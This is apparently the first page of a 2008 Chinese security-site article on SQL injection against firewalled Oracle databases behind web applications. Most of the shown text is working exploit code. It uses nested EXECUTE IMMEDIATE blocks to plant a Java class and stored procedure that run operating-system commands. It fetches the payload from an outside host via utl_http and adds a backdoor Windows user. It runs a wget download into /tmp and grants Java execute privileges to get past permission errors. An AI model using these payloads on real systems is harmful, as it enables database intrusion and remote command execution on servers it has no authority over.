CTOCIO IT专家网

天极传媒 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
IT专家网搜索

网络安全,安全,网络安全设备,信息安全产品,网络安全新闻,信息安全市场分析,黑客攻防,防黑反黑技巧,黑客,网络安全技术,网络安全方案,病毒播报,最新病毒库,攻防技巧,入侵渗透,新闻,思科,Juniper,天融信,瑞星,金山,江民,卡巴斯基,赛门铁克, 趋势,绿盟科技,联想网御,MCAFEE,安氏,冰峰网络,网络入侵,木马,病毒,病毒分析,木马分析,样本分析,木马样本分析,病毒样本分析,杀毒软件

您现在的位置: IT专家网 > 安全子站 > 安全技巧

浅谈 Oracle web环境注射技术

作者: 剑心,  出处:whitecell.org , 责任编辑: 韩博颖, 
2008-04-15 09:10
  本文只是从一个web安全的角度来看如何入侵一台被防火墙防护的Oracle数据库,对一些入侵技术做了web入侵上的总结和延伸,尽量将原理讲得明白。

  


EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};'';END;';
  这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程,

  


EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)'''';'';END;';
  这样放到我们的http://www.loveshell.net/shellcod.txt里,然后依次请求上面的那个注射的语句(使用之前请先将其中的utl_http.request('http://www.loveshell.net/shellcod.txt')替换为utl_http.request(chr()....chr())的形式),就会在服务器创建存储了个javacmdproc过程了,参数是字符串,会被当作命令执行。我们执行试试

  将shellcode.txt内容换成

  

EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''cmd.exe /c net user loveshell loveshell /add'''');end;'';END;';
  或者在linux下就是

  

EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''wget http://www.loveshell.net -O /tmp/loveshell'''');end;'';END;';
  呵呵,有可能成功,但是也有可能出现类似于下面的情况

  ERROR at line 1: 

ORA-29532: Java call terminated by uncaught Java exception:
  java.security.AccessControlException: the Permission (java.io.FilePermission
  <> execute) has not been granted to LOVESHELL. The PL/SQL to grant
  this is dbms_java.grant_permission( 'LOVESHELL', 'SYS:java.io.FilePermission',
  '<>', 'execute' )
  ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0
  ORA-06512: at line 1
  没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的

  

EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant javasyspriv to loveshell;'';END;';
  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin exec dbms_java.grant_permission(''''LOVESHELL'''',''''SYS:java.io.FilePermission'''',''''<>'''',''''execute'''');end;'';END;';
  各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。
共7页。 9 1 2 3 4 5 6 7 :

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。
  • 周排行榜
  • 月排行榜

邮件订阅


    • 独家奉献:Oracle Advanced Security白皮书(上)评论
      在如今的全球商业环境下,公司必将面临很多安全和合规方面的挑战。要想避免这些安全风险必然需要设计透明的安全解决方案,Oracle Advanced Security提供了透明的基于标准的安全,能够保护网络、磁盘或者备份媒介上的数据。
    • 解析如何实现自动化的IT安全合规管理评论
      能够解决企业IT、审计和运作团队共同问题的方法一直是企业IT管理者所迫切希望的,自动化的企业合规管理将会及时的发现并掌控企业实际存在的各种问题。
    • 视频讲解:MS Windows系统安全评论
      本文将由7all为IT专家网用户讲解MS Windows操作系统。
    • 浅谈逆向工程在网络安全研究中的运用评论
      从某种程度上来说,计算机软件的逆向工程技术主要过程为分析计算机程序,在分析计算机程序的过程中,逐渐建立起高于源代码级别的更抽象层次的程序运行过程。

天极服务 | 关于我们 | 网站律师 | 加入我们 | 联系我们 | 广告业务 | 友情链接 | 我要挑错
All Rights Reserved, Copyright 2004-2008, Ctocio.com.cn
渝ICP证B2-20030003号 如有意见请与我们联系 powered by 天极内容管理平台CMS4i